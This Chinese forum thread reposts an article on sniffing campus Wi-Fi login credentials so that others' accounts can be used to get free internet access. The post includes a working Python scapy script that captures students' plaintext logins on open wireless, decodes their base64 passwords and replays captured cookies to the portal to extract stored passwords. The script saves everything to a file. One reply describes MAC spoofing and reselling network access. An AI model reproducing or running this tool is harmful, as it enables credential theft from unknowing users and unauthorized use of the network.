网资酷

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 168|回复: 21

如何优雅的绕过校园网认证实现免费上

[复制链接]

2

主题

7

帖子

9

积分

新手上路

Rank: 1

积分
9
发表于 2022-11-13 11:45:34 | 显示全部楼层 |阅读模式
校园网的认证方式

*本文提及的方法仅供安全学习用途,禁止非法利用
我们学校的无线校园网的认证方式不是wpa/wpa2,不是802.1x,只是单纯的web认证,在网页里输入学号和密码,post出去,你的这个mac地址就可以上网了。但是尽管需要认证,安全性还是等于零,数据还是没有加密的,我试着写了一个在无线校园网中嗅探校园网账号密码的小程序。
使用了scapy和requests包。
需要先知道怎么在开放无线网络中嗅探数据包,可以看上一篇文章。
初步分析认证过程

所有认证服务都在校内某个认证服务器上,url为http://10.xxx.xx.xx/srun_portal_pc.php?ac_id=1&



上图为校园网的登陆框



chrome开发者工具查看认证发的包,post到了auth_action.php,同时带了一个cookie。
用edit this cookie看了cookie的失效时间直接到了2018年(现在2017



上图是post出去的data,username明文,password base64解一下就好了
到此为止,我们就已经得到了嗅探校园网密码的方法,和嗅探其他的明文密码没什么区别,似乎只要查找一下username、password关键字都可以。
继续分析认证交互

实践过程中我发现由于周围ap很多,station也很多,sniff的时候只能抓到一次认证的'只言片语'。
大多数情况下也就是一次认证的某一个http数据包,所以开始考虑还有没有别的方法可以拿到password。
记住密码

上面第一个图可以看到有一个记住密码按钮,但点上去的时候浏览器没有任何提示。
如果打上了对勾,下次访问认证页面用户名密码都是填好的。
换一个浏览器就不会出现用户名和密码。
所以猜测用户名和密码可能隐藏在cookie里。
cookie大概长这样:
login=bQ0pOyR6IXU7PJaQQqRAcBPxGAvxAcroYpuUwed%252BRbnyPYVrHGh7s%252FPoYr7fCjTjj%252FswD1WO61LAXLEfAnB6rfKMTMSqTA8Se6EnzfFjzP9eeD9NFR8hcJNnEXPrncV1qHlKsOS7DSZxdJpsAjtG0IgBL%252BaYiPbwi%252BQrXyaCJs88HzHwF91Vn5cSIjnNeER8blZ0frc%253D看了一眼就知道密码应该不在这里吧。。
问问服务器

当我把cookie删除,刷新页面,用户名和密码都会消失。
再把cookie改回来,用户名和密码就会出现。
所以认证服务器肯定根据cookie返回了我的用户名和密码。
用requests进行验证:



返回结果



用户名和密码就摆在这里了。
所以现在我们又多了一条拿到用户名密码的途径,就是带着cookie问服务器。
最后考虑哪里还有cookie

1. 用户post出去的请求会带有cookie,但是密码已经在里面了
2. 用户get请求网页的内容和文件等会带有cookie
3. 当用户认证成功时,服务器返回带set-cookie的header中包含有cookie
总结思路

1. 当抓到client ==> server的数据包时
1) 如果是GET请求,检查有没有Cookie存在。
2) 如果是POST请求,直接把用户名和密码拿出来。
2. 当抓到的是server ==> client的数据包时
1) 检查是否有set-cookie头部,有的话取出来。
最后如果有cookie被嗅探到,就带着cookie把向server索要一下密码。
代码

import requests
import scapy_http.http as http
from scapy.all import *
from lxml import etree

iface ='mon0'
url = "http://10.xxx.xx.xx:801/srun_portal_pc.php?ac_id=1&"
path = "/home/add/Desktop/"

def prn(pkt):

data = None
headers = None

#stat ==> ap
if pkt.haslayer(http.HTTPRequest):
#if post the username password
if pkt.Method == 'POST' and 'username' in pkt.load:
dt = {i.split("=")[0]:i.split("=")[1] for i in pkt.load.split("&")}
data = ":::".join((dt["username"], dt['password'][3:].decode("base64"))) + '\n'
print '[+]Get! Post data:%s %s'%(dt['username'], dt['password'])

#if has cookie
elif pkt.Cookie != None:
headers = {'Cookie':pkt.Cookie}

#ap ==> stat
elif pkt.haslayer(http.HTTPResponse) and 'Set-Cookie' in pkt.load:
#if cookie is set
a = [i for i in pkt.load.split("\r\n") if 'Set-Cookie' in i]
headers = {'Cookie':a[0].split(": ")[1]}

#request for the password with cookie
if headers != None:
try:
con = requests.get(url, headers=headers).content
data = ":::".join(etree.HTML(con).xpath("//input//@value")[6:8])+'\n'
print '[+]Get! Cookie:%s'%headers['Cookie']
except Exception,e:
print e

if data != None:
with open(path + "schoolUserPwd.txt", "a") as txt:
txt.write(data)

def main():
try:
sniff(iface=iface, prn=prn, filter="ip host 10.xxx.xx.xx", store=0)
#sniff(offline=path + "44335.pcap", prn=prn, filter="ip host 10.xxx.xx.xx")
except KeyboardInterrupt, e:
print "quitting"

if __name__ == '__main__':
main()导入的库

requests用来向服务器请求
scapy用来在无线网络中嗅探
scapy_http用来对http协议更方便的解析
lxml用来从服务器返回的html文件中,解析出来用户名和密码
回调函数prn

prn是sniff函数每过滤到一个符合条件的数据包时回调的函数,并将数据包本身作为参数传入。
函数的逻辑和上文总结的思路相同,根据数据包的方向分开处理,得到密码或cookie
代码中可以看到两个headers的赋值语句就是上文总结的两个拿cookie的地方。
需要注意

1. sniff的过滤用filter会快很多,之前的文章也有提到过。
2. 由于我们既要嗅探,同时又要向服务器请求,所以airmon-ng check kill后不处理,很可能会导致上不去网然后报错。
我一般先kill掉后,开启monitor模式,再将网卡调到信号最强的ap的信道上(iwconfig mon0 channel 1/2/3/...)
最后再service network-manager start 打开网络管理的服务。
结果

运行之后的界面是这样哒



最后都存到文件中了。
但是由于有时候一次会嗅探到多个相同的数据包,或者偶尔真的抓到了一次完整的认证。
文件中有很多重复的结果,可以另写一个去重的小程序来优化下。
转载于如何在开放无线网络中嗅探校园网密码 - FreeBuf网络安全行业门户
回复

使用道具 举报

1

主题

2

帖子

4

积分

新手上路

Rank: 1

积分
4
发表于 2022-11-13 11:46:30 | 显示全部楼层
你这个等于让其他不知情的同学给你买单,不会吧[惊喜]
回复

使用道具 举报

3

主题

6

帖子

11

积分

新手上路

Rank: 1

积分
11
发表于 2022-11-13 11:47:30 | 显示全部楼层
校园网登入是ip地址的是啥 挂代理还不能访问
回复

使用道具 举报

1

主题

5

帖子

7

积分

新手上路

Rank: 1

积分
7
发表于 2022-11-13 11:48:20 | 显示全部楼层
这是老文新发么……17年的
回复

使用道具 举报

1

主题

7

帖子

7

积分

新手上路

Rank: 1

积分
7
发表于 2022-11-13 11:49:01 | 显示全部楼层
学习了学习了[滑稽]
回复

使用道具 举报

1

主题

5

帖子

3

积分

新手上路

Rank: 1

积分
3
发表于 2022-11-13 11:49:42 | 显示全部楼层
似乎我这的校园网也是这样的[捂脸]
回复

使用道具 举报

0

主题

2

帖子

0

积分

新手上路

Rank: 1

积分
0
发表于 2022-11-13 11:50:09 | 显示全部楼层
直接用kali
回复

使用道具 举报

2

主题

3

帖子

7

积分

新手上路

Rank: 1

积分
7
发表于 2022-11-13 11:50:24 | 显示全部楼层
我们也是....为啥账号会明文被嵌在http里返回?它加密似乎也不麻烦啊[思考]
回复

使用道具 举报

2

主题

4

帖子

8

积分

新手上路

Rank: 1

积分
8
发表于 2022-11-13 11:51:00 | 显示全部楼层
当年我那的校园网是双重认证的,一个web一个客户端,顺序是客户端认证,认证通过了就到web认证,当时学生账号晚上是断网的,通过客户端认证后,web端由于断网时段限制认证失败,于是乎找不在学校住的关系好的老师帮忙申请了一个教师账号,然后通过MAC欺骗,这样不在同一栋楼的学生账号也能不断网了,不同楼宇之间不共用路由器,只能欺骗一次,最后折腾路由器,客户端有linux版的,写进OpenWrt自启动,改个MAC,这样就能上贴吧卖钱了。当时小赚了点,大四实习维护麻烦了就没搞了
回复

使用道具 举报

1

主题

6

帖子

7

积分

新手上路

Rank: 1

积分
7
发表于 2022-11-13 11:51:53 | 显示全部楼层
因为懒啊,万年不升级,商业级别谁现在还用明文啊
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|网资酷

GMT+8, 2025-3-15 04:58 , Processed in 0.103971 second(s), 23 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表